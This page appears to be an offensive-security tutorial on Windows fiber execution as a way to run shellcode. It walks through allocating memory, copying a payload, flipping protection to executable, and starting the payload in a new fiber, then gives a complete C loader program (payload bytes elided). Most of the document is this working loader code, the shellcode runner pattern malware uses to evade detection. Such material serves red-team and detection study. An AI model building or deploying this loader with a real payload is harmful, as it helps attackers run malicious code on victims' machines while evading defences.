Skip to content

Fiber Execution

A fiber is essentially a user-mode execution unit. Multiple fibers can exist inside a single thread, and the application explicitly decides when execution switches between them.

Conceptually:

Normal Thread
ConvertThreadToFiber()
 Main Fiber
     ├── CreateFiber(...)
     │         │
     │         ▼
     │    Secondary Fiber
     │     [code/function]
SwitchToFiber()
     └──────────────► Fiber executes

The main Windows APIs involved are:

  • ConvertThreadToFiber() - Converts the current thread into a fiber.
  • CreateFiber() - Creates a new fiber and specifies its starting function.
  • SwitchToFiber() - Transfers execution to another fiber.

An important distinction is that Fiber Execution is not necessarily a process-injection technique. It does not inherently place code inside another process. Rather, it is primarily an execution or control-transfer mechanism.

The flow of the injection is the following:

  1. Create an allocation for the payload with VirtualAlloc or other modern technique

     LPVOID pexec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    

  2. Copy the payload to the new memory allocation:

    RtlMoveMemory(pexec, payload, payload_len);
    

  3. Make it executable:

    DWORD oldProtect; 
    VirtualProtect(pexec, payload_len, PAGE_EXECUTE_READ, &oldProtect);
    

  4. Convert the current thread into a fiber:

    LPVOID mainFiber = ConvertThreadToFiber(NULL);
    

  5. Create a new fiber and specify the new memory allocation:

    LPVOID newFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)pexec, NULL);
    

  6. Transfer the execution flow to the new fiber:

    SwitchToFiber(newFiber);
    

Full code:

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")

unsigned char payload[] = {...};



int main(int argc, char ** argv) {
    int payload_len = sizeof(payload);

    LPVOID mainFiber = ConvertThreadToFiber(NULL);

    if (mainFiber == NULL){
        printf("[-] ConvertThreadToFiber failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] Main fiber -> 0x%p\n", mainFiber);

    LPVOID pexec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("[+] VirtualAlloc RW-> 0x%p\n", pexec);

    RtlMoveMemory(pexec, payload, payload_len);
    printf("[+] payload copied to VirtualAlloc -> 0x%p\n", pexec);

    DWORD oldProtect;   
    VirtualProtect(pexec, payload_len, PAGE_EXECUTE_READ, &oldProtect);
    printf("[+] VirtualProtect RX-> 0x%p\n", pexec);

    printf("[+] Creating secondary fiber...\n");

    LPVOID newFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)pexec, NULL);
    if (newFiber == NULL) {
        printf("[-] CreateFiber failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] Secondary fiber: %p\n", newFiber);
    getchar();
    SwitchToFiber(newFiber);
    getchar();
    return 0;
}